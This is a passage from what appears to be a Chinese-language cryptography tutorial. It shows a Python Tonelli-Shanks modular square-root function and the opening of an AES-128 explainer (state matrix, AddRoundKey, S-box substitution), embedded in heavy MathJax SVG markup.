347 308 345T337 336T375 315Q457 262 457 175Q457 96 395 37T238 -22Q158 -22 100 21T42 130Q42 158 60 175T105 193Q133 193 151 175T169 130Q169 119 166 110T159 94T148 82T136 74T126 70T118 67L114 66Q165 21 238 21Q293 21 321 74Q338 107 338 175V195Q338 290 274 322Q259 328 213 329L171 330L168 332Q166 335 166 348Q166 366 174 366Q202 366 232 371Q266 376 294 413T322 525V533Q322 590 287 612Q265 626 240 626Q208 626 181 615T143 592T132 580H135Q138 579 143 578T153 573T165 566T175 555T183 540T186 520Q186 498 172 481T127 463Z"></path></g></g></g></svg></mjx-container> 和 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.439ex;" xmlns="http://www.w3.org/2000/svg" width="13.71ex" height="2.009ex" role="img" focusable="false" viewBox="0 -694 6059.9 888"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g><g data-mml-node="mspace" transform="translate(503,0)"></g><g data-mml-node="mi" transform="translate(1336.7,0)"><path data-c="6D" d="M41 46H55Q94 46 102 60V68Q102 77 102 91T102 122T103 161T103 203Q103 234 103 269T102 328V351Q99 370 88 376T43 385H25V408Q25 431 27 431L37 432Q47 433 65 434T102 436Q119 437 138 438T167 441T178 442H181V402Q181 364 182 364T187 369T199 384T218 402T247 421T285 437Q305 442 336 442Q351 442 364 440T387 434T406 426T421 417T432 406T441 395T448 384T452 374T455 366L457 361L460 365Q463 369 466 373T475 384T488 397T503 410T523 422T546 432T572 439T603 442Q729 442 740 329Q741 322 741 190V104Q741 66 743 59T754 49Q775 46 803 46H819V0H811L788 1Q764 2 737 2T699 3Q596 3 587 0H579V46H595Q656 46 656 62Q657 64 657 200Q656 335 655 343Q649 371 635 385T611 402T585 404Q540 404 506 370Q479 343 472 315T464 232V168V108Q464 78 465 68T468 55T477 49Q498 46 526 46H542V0H534L510 1Q487 2 460 2T422 3Q319 3 310 0H302V46H318Q379 46 379 62Q380 64 380 200Q379 335 378 343Q372 371 358 385T334 402T308 404Q263 404 229 370Q202 343 195 315T187 232V168V108Q187 78 188 68T191 55T200 49Q221 46 249 46H265V0H257L234 1Q210 2 183 2T145 3Q42 3 33 0H25V46H41Z"></path><path data-c="6F" d="M28 214Q28 309 93 378T250 448Q340 448 405 380T471 215Q471 120 407 55T250 -10Q153 -10 91 57T28 214ZM250 30Q372 30 372 193V225V250Q372 272 371 288T364 326T348 362T317 390T268 410Q263 411 252 411Q222 411 195 399Q152 377 139 338T126 246V226Q126 130 145 91Q177 30 250 30Z" transform="translate(833,0)"></path><path data-c="64" d="M376 495Q376 511 376 535T377 568Q377 613 367 624T316 637H298V660Q298 683 300 683L310 684Q320 685 339 686T376 688Q393 689 413 690T443 693T454 694H457V390Q457 84 458 81Q461 61 472 55T517 46H535V0Q533 0 459 -5T380 -11H373V44L365 37Q307 -11 235 -11Q158 -11 96 50T34 215Q34 315 97 378T244 442Q319 442 376 393V495ZM373 342Q328 405 260 405Q211 405 173 369Q146 341 139 305T131 211Q131 155 138 120T173 59Q203 26 251 26Q322 26 373 103V342Z" transform="translate(1333,0)"></path></g><g data-mml-node="mstyle" transform="translate(3225.7,0)"><g data-mml-node="mspace"></g></g><g data-mml-node="mstyle" transform="translate(3392.7,0)"><g data-mml-node="mspace"></g></g><g data-mml-node="mn" transform="translate(3726.3,0)"><path data-c="34" d="M462 0Q444 3 333 3Q217 3 199 0H190V46H221Q241 46 248 46T265 48T279 53T286 61Q287 63 287 115V165H28V211L179 442Q332 674 334 675Q336 677 355 677H373L379 671V211H471V165H379V114Q379 73 379 66T385 54Q393 47 442 46H471V0H462ZM293 211V545L74 212L183 211H293Z"></path></g><g data-mml-node="mo" transform="translate(4504.1,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mn" transform="translate(5559.9,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g></g></g></svg></mjx-container>，对于前者可直接得出<br><mjx-container class="MathJax" jax="SVG" display="true"><svg style="vertical-align: -0.383ex;" xmlns="http://www.w3.org/2000/svg" width="10.247ex" height="2.834ex" role="img" focusable="false" viewBox="0 -1083.4 4529.2 1252.7"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msqrt"><g transform="translate(853,0)"><g data-mml-node="mi"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g></g><g data-mml-node="mo" transform="translate(0,30.8)"><path data-c="221A" d="M95 178Q89 178 81 186T72 200T103 230T169 280T207 309Q209 311 212 311H213Q219 311 227 294T281 177Q300 134 312 108L397 -77Q398 -77 501 136T707 565T814 786Q820 800 834 800Q841 800 846 794T853 782V776L620 293L385 -193Q381 -200 366 -200Q357 -200 354 -197Q352 -195 256 15L160 225L144 214Q129 202 113 190T95 178Z"></path></g><rect width="529" height="60" x="853" y="770.8"></rect></g><g data-mml-node="mo" transform="translate(1659.8,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="msup" transform="translate(2715.6,0)"><g data-mml-node="mi"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="TeXAtom" transform="translate(562,413) scale(0.707)" data-mjx-texclass="ORD"><g data-mml-node="mfrac"><g data-mml-node="mrow" transform="translate(220,477.2) scale(0.707)"><g data-mml-node="mi"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g><g data-mml-node="mo" transform="translate(503,0)"><path data-c="2B" d="M56 237T56 250T70 270H369V420L370 570Q380 583 389 583Q402 583 409 568V270H707Q722 262 722 250T707 230H409V-68Q401 -82 391 -82H389H387Q375 -82 369 -68V230H70Q56 237 56 250Z"></path></g><g data-mml-node="mn" transform="translate(1281,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g></g><g data-mml-node="mn" transform="translate(672.9,-345) scale(0.707)"><path data-c="34" d="M462 0Q444 3 333 3Q217 3 199 0H190V46H221Q241 46 248 46T265 48T279 53T286 61Q287 63 287 115V165H28V211L179 442Q332 674 334 675Q336 677 355 677H373L379 671V211H471V165H379V114Q379 73 379 66T385 54Q393 47 442 46H471V0H462ZM293 211V545L74 212L183 211H293Z"></path></g><rect width="1459.4" height="60" x="120" y="220"></rect></g></g></g></g></g></svg></mjx-container><br>后者的计算需要借助 Tonelli-Shanks 算法，这里只给出代码实现</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">tonelli</span>(<span class="params">a, p</span>):</span><br><span class="line">    <span class="keyword">assert</span>(legendre(a, p) ==<span class="number">1</span>, <span class="string">"not a quadratic-residue"</span>)</span><br><span class="line">    q = p - <span class="number">1</span></span><br><span class="line">    s = <span class="number">0</span></span><br><span class="line">    <span class="keyword">while</span> q % <span class="number">2</span> == <span class="number">0</span>:</span><br><span class="line">        q //= <span class="number">2</span></span><br><span class="line">        s += <span class="number">1</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> s == <span class="number">1</span> :</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">pow</span>(a, (p + <span class="number">1</span>)//<span class="number">4</span>, p)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> z <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">2</span>, p):</span><br><span class="line">        <span class="keyword">if</span> p - <span class="number">1</span> == legendre(z, p):</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">    c = <span class="built_in">pow</span>(z, q, p)</span><br><span class="line">    r = <span class="built_in">pow</span>(a, (q+<span class="number">1</span>) // <span class="number">2</span>, p)</span><br><span class="line">    t = <span class="built_in">pow</span>(a, q, p)</span><br><span class="line"></span><br><span class="line">    m = s</span><br><span class="line"></span><br><span class="line">    t2 = <span class="number">0</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> (t - <span class="number">1</span>) % p != <span class="number">0</span>:</span><br><span class="line">        t2 = (t * t) % p</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, m):</span><br><span class="line">            <span class="keyword">if</span> (t2 -<span class="number">1</span>) % p == <span class="number">0</span>:</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">            t2 = (t2 * t2) % p</span><br><span class="line">        b = <span class="built_in">pow</span>(c, <span class="number">1</span> &lt;&lt; (m - i - <span class="number">1</span>), p)</span><br><span class="line">        r = (r * b) % p</span><br><span class="line">        c = (b * b) % p</span><br><span class="line">        t = (t * c) % p</span><br><span class="line">        m = i</span><br><span class="line">    <span class="keyword">return</span> r</span><br></pre></td></tr></table></figure><h1 id="AES"><a href="#AES" class="headerlink" title="AES"></a>AES</h1><p>AES，又称 Rijndael，是全世界最流行的加密算法之一，具有以下几个基本特性</p><ul><li>对称性 - 加解密使用相同密钥</li><li>块加密 - 数据会被分割成等长的数据块逐个处理，数据块长度与密钥长度相等</li><li>高性能 - AES 能够很快的加密大量数据</li></ul><p>AES 密钥长度有三种 - 128，192 及 256 比特，其中 AES-128 的使用最为广泛，本节拿 AES-128 进行示例</p><h2 id="流程"><a href="#流程" class="headerlink" title="流程"></a>流程</h2><p>AES 会将明文数据分割成 128 比特大小的数据块，下述流程描述了对单独数据块的处理</p><h3 id="矩阵化"><a href="#矩阵化" class="headerlink" title="矩阵化"></a>矩阵化</h3><p>数据块转换成一个由单个字节作为元素的 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: 0;" xmlns="http://www.w3.org/2000/svg" width="5.028ex" height="1.532ex" role="img" focusable="false" viewBox="0 -677 2222.4 677"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mn"><path data-c="34" d="M462 0Q444 3 333 3Q217 3 199 0H190V46H221Q241 46 248 46T265 48T279 53T286 61Q287 63 287 115V165H28V211L179 442Q332 674 334 675Q336 677 355 677H373L379 671V211H471V165H379V114Q379 73 379 66T385 54Q393 47 442 46H471V0H462ZM293 211V545L74 212L183 211H293Z"></path></g><g data-mml-node="mo" transform="translate(722.2,0)"><path data-c="D7" d="M630 29Q630 9 609 9Q604 9 587 25T493 118L389 222L284 117Q178 13 175 11Q171 9 168 9Q160 9 154 15T147 29Q147 36 161 51T255 146L359 250L255 354Q174 435 161 449T147 471Q147 480 153 485T168 490Q173 490 175 489Q178 487 284 383L389 278L493 382Q570 459 587 475T609 491Q630 491 630 471Q630 464 620 453T522 355L418 250L522 145Q606 61 618 48T630 29Z"></path></g><g data-mml-node="mn" transform="translate(1722.4,0)"><path data-c="34" d="M462 0Q444 3 333 3Q217 3 199 0H190V46H221Q241 46 248 46T265 48T279 53T286 61Q287 63 287 115V165H28V211L179 442Q332 674 334 675Q336 677 355 677H373L379 671V211H471V165H379V114Q379 73 379 66T385 54Q393 47 442 46H471V0H462ZM293 211V545L74 212L183 211H293Z"></path></g></g></g></svg></mjx-container> 状态矩阵，方便后续的各种运算</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">bytes2matrix</span>(<span class="params">text</span>):</span><br><span class="line">    <span class="keyword">return</span> [<span class="built_in">list</span>(text[i:i+<span class="number">4</span>]) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(text), <span class="number">4</span>)]</span><br></pre></td></tr></table></figure><h3 id="密钥扩展"><a href="#密钥扩展" class="headerlink" title="密钥扩展"></a>密钥扩展</h3><p>将初始密钥使用特定算法生成 11 个同长的轮密钥</p><h3 id="密钥相加"><a href="#密钥相加" class="headerlink" title="密钥相加"></a>密钥相加</h3><p>将状态矩阵与第一个轮密钥进行 XOR 实现初步的加密</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">add_round_key</span>(<span class="params">s, k</span>):</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">4</span>):</span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">4</span>):</span><br><span class="line">            s[i][j] ^= k[i][j]</span><br></pre></td></tr></table></figure><h4 id="逆运算"><a href="#逆运算" class="headerlink" title="逆运算"></a>逆运算</h4><p>二次执行 XOR 运算可抵消前次的影响</p><h3 id="轮次迭代"><a href="#轮次迭代" class="headerlink" title="轮次迭代"></a>轮次迭代</h3><p>重复 10 轮，分别对应剩余的 10 个轮密钥</p><h4 id="替换"><a href="#替换" class="headerlink" title="替换"></a>替换</h4><ul><li>AES 按照一个字节查找表，S盒 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex;" xmlns="http://www.w3.org/2000/svg" width="24.664ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 10901.4 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g><g data-mml-node="mi" transform="translate(469,0)"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g><g data-mml-node="mi" transform="translate(898,0)"><path data-c="1D45C" d="M201 -11Q126 -11 80 38T34 156Q34 221 64 279T146 380Q222 441 301 441Q333 441 341 440Q354 437 367 433T402 417T438 387T464 338T476 268Q476 161 390 75T201 -11ZM121 120Q121 70 147 48T206 26Q250 26 289 58T351 142Q360 163 374 216T388 308Q388 352 370 375Q346 405 306 405Q243 405 195 347Q158 303 140 230T121 120Z"></path></g><g data-mml-node="mi" transform="translate(1383,0)"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g><g data-mml-node="mo" transform="translate(2232.8,0)"><path data-c="3A" d="M78 370Q78 394 95 412T138 430Q162 430 180 414T199 371Q199 346 182 328T139 310T96 327T78 370ZM78 60Q78 84 95 102T138 120Q162 120 180 104T199 61Q199 36 182 18T139 0T96 17T78 60Z"></path></g><g data-mml-node="mo" transform="translate(2788.6,0)"><path data-c="5B" d="M118 -250V750H255V710H158V-210H255V-250H118Z"></path></g><g data-mml-node="mn" transform="translate(3066.6,0)"><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z"></path></g><g data-mml-node="mo" transform="translate(3566.6,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="mn" transform="translate(4011.2,0)"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path><path data-c="35" d="M164 157Q164 133 148 117T109 101H102Q148 22 224 22Q294 22 326 82Q345 115 345 210Q345 313 318 349Q292 382 260 382H254Q176 382 136 314Q132 307 129 306T114 304Q97 304 95 310Q93 314 93 485V614Q93 664 98 664Q100 666 102 666Q103 666 123 658T178 642T253 634Q324 634 389 662Q397 666 402 666Q410 666 410 648V635Q328 538 205 538Q174 538 149 544L139 546V374Q158 388 169 396T205 412T256 420Q337 420 393 355T449 201Q449 109 385 44T229 -22Q148 -22 99 32T50 154Q50 178 61 192T84 210T107 214Q132 214 148 197T164 157Z" transform="translate(500,0)"></path><path data-c="35" d="M164 157Q164 133 148 117T109 101H102Q148 22 224 22Q294 22 326 82Q345 115 345 210Q345 313 318 349Q292 382 260 382H254Q176 382 136 314Q132 307 129 306T114 304Q97 304 95 310Q93 314 93 485V614Q93 664 98 664Q100 666 102 666Q103 666 123 658T178 642T253 634Q324 634 389 662Q397 666 402 666Q410 666 410 648V635Q328 538 205 538Q174 538 149 544L139 546V374Q158 388 169 396T205 412T256 420Q337 420 393 355T449 201Q449 109 385 44T229 -22Q148 -22 99 32T50 154Q50 178 61 192T84 210T107 214Q132 214 148 197T164 157Z" transform="translate(1000,0)"></path></g><g data-mml-node="mo" transform="translate(5511.2,0)"><path data-c="5D" d="M22 710V750H159V-250H22V-210H119V710H22Z"></path></g><g data-mml-node="mo" transform="translate(5789.2,0)"><path data-c="2212" d="M84 237T84 250T98 270H679Q694 262 694 250T679 230H98Q84 237 84 250Z"></path></g><g data-mml-node="mo" transform="translate(6845,0)"><path data-c="3E" d="M84 520Q84 528 88 533T96 539L99 540Q106 540 253 471T544 334L687 265Q694 260 694 250T687 235Q685 233 395 96L107 -40H101Q83 -38 83 -20Q83 -19 83 -17Q82 -10 98 -1Q117 9 248 71Q326 108 378 132L626 250L378 368Q90 504 86 509Q84 513 84 520Z"></path></g><g data-mml-node="mo" transform="translate(7900.8,0)"><path data-c="5B" d="M118 -250V750H255V710H158V-210H255V-250H118Z"></path></g><g data-mml-node="mn" transform="translate(8178.8,0)"><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z"></path></g><g data-mml-node="mo" transform="translate(8678.8,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="mn" transform="translate(9123.4,0)"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path><path data-c="35" d="M164 157Q164 133 148 117T109 101H102Q148 22 224 22Q294 22 326 82Q345 115 345 210Q345 313 318 349Q292 382 260 382H254Q176 382 136 314Q132 307 129 306T114 304Q97 304 95 310Q93 314 93 485V614Q93 664 98 664Q100 666 102 666Q103 666 123 658T178 642T253 634Q324 634 389 662Q397 666 402 666Q410 666 410 648V635Q328 538 205 538Q174 538 149 544L139 546V374Q158 388 169 396T205 412T256 420Q337 420 393 355T449 201Q449 109 385 44T229 -22Q148 -22 99 32T50 154Q50 178 61 192T84 210T107 214Q132 214 148 197T164 157Z" transform="translate(500,0)"></path><path data-c="35" d="M164 157Q164 133 148 117T109 101H102Q148 22 224 22Q294 22 326 82Q345 115 345 210Q345 313 318 349Q292 382 260 382H254Q176 382 136 314Q132 307 129 306T114 304Q97 304 95 310Q93 314 93 485V614Q93 664 98 664Q100 666 102 666Q103 666 123 658T178 642T253 634Q324 634 389 662Q397 666 402 666Q410 666 410 648V635Q328 538 205 538Q174 538 149 544L139 546V374Q158 388 169 396T205 412T256 420Q337 420 393 355T449 201Q449 109 385 44T229 -22Q148 -22 99 32T50 154Q50 178 61 192T84 210T107 214Q132 214 148 197T164 157Z" transform="translate(1000,0)"></path></g><g data-mml-node="mo" transform="translate(10623.4,0)"><path data-c="5D" d="M22 710V750H159V-250H22V-210H119V710H22Z"></path></g></g></g></svg></mjx-container>，对状态矩阵的每个字节元素执行替换</li><li>该运算等价为 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex;" xmlns="http://www.w3.org/2000/svg" width="7.198ex" height="2.452ex" role="img" focusable="false" viewBox="0 -833.9 3181.6 1083.9"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D43A" d="M50 252Q50 367 117 473T286 641T490 704Q580 704 633 653Q642 643 648 636T656 626L657 623Q660 623 684 649Q691 655 699 663T715 679T725 690L740 705H746Q760 705 760 698Q760 694 728 561Q692 422 692 421Q690 416 687 415T669 413H653Q647 419 647 422Q647 423 648 429T650 449T651 481Q651 552 619 605T510 659Q492 659 471 656T418 643T357 615T294 567T236 496T189 394T158 260Q156 242 156 221Q156 173 170 136T206 79T256 45T308 28T353 24Q407 24 452 47T514 106Q517 114 529 161T541 214Q541 222 528 224T468 227H431Q425 233 425 235T427 254Q431 267 437 273H454Q494 271 594 271Q634 271 659 271T695 272T707 272Q721 272 721 263Q721 261 719 249Q714 230 709 228Q706 227 694 227Q674 227 653 224Q646 221 643 215T629 164Q620 131 614 108Q589 6 586 3Q584 1 581 1Q571 1 553 21T530 52Q530 53 528 52T522 47Q448 -22 322 -22Q201 -22 126 55T50 252Z"></path></g><g data-mml-node="mi" transform="translate(786,0)"><path data-c="1D43F" d="M228 637Q194 637 192 641Q191 643 191 649Q191 673 202 682Q204 683 217 683Q271 680 344 680Q485 680 506 683H518Q524 677 524 674T522 656Q517 641 513 637H475Q406 636 394 628Q387 624 380 600T313 336Q297 271 279 198T252 88L243 52Q243 48 252 48T311 46H328Q360 46 379 47T428 54T478 72T522 106T564 161Q580 191 594 228T611 270Q616 273 628 273H641Q647 264 647 262T627 203T583 83T557 9Q555 4 553 3T537 0T494 -1Q483 -1 418 -1T294 0H116Q32 0 32 10Q32 17 34 24Q39 43 44 45Q48 46 59 46H65Q92 46 125 49Q139 52 144 61Q147 65 216 339T285 628Q285 635 228 637Z"></path></g><g data-mml-node="mo" transform="translate(1467,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="msup" transform="translate(1856,0)"><g data-mml-node="mn"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 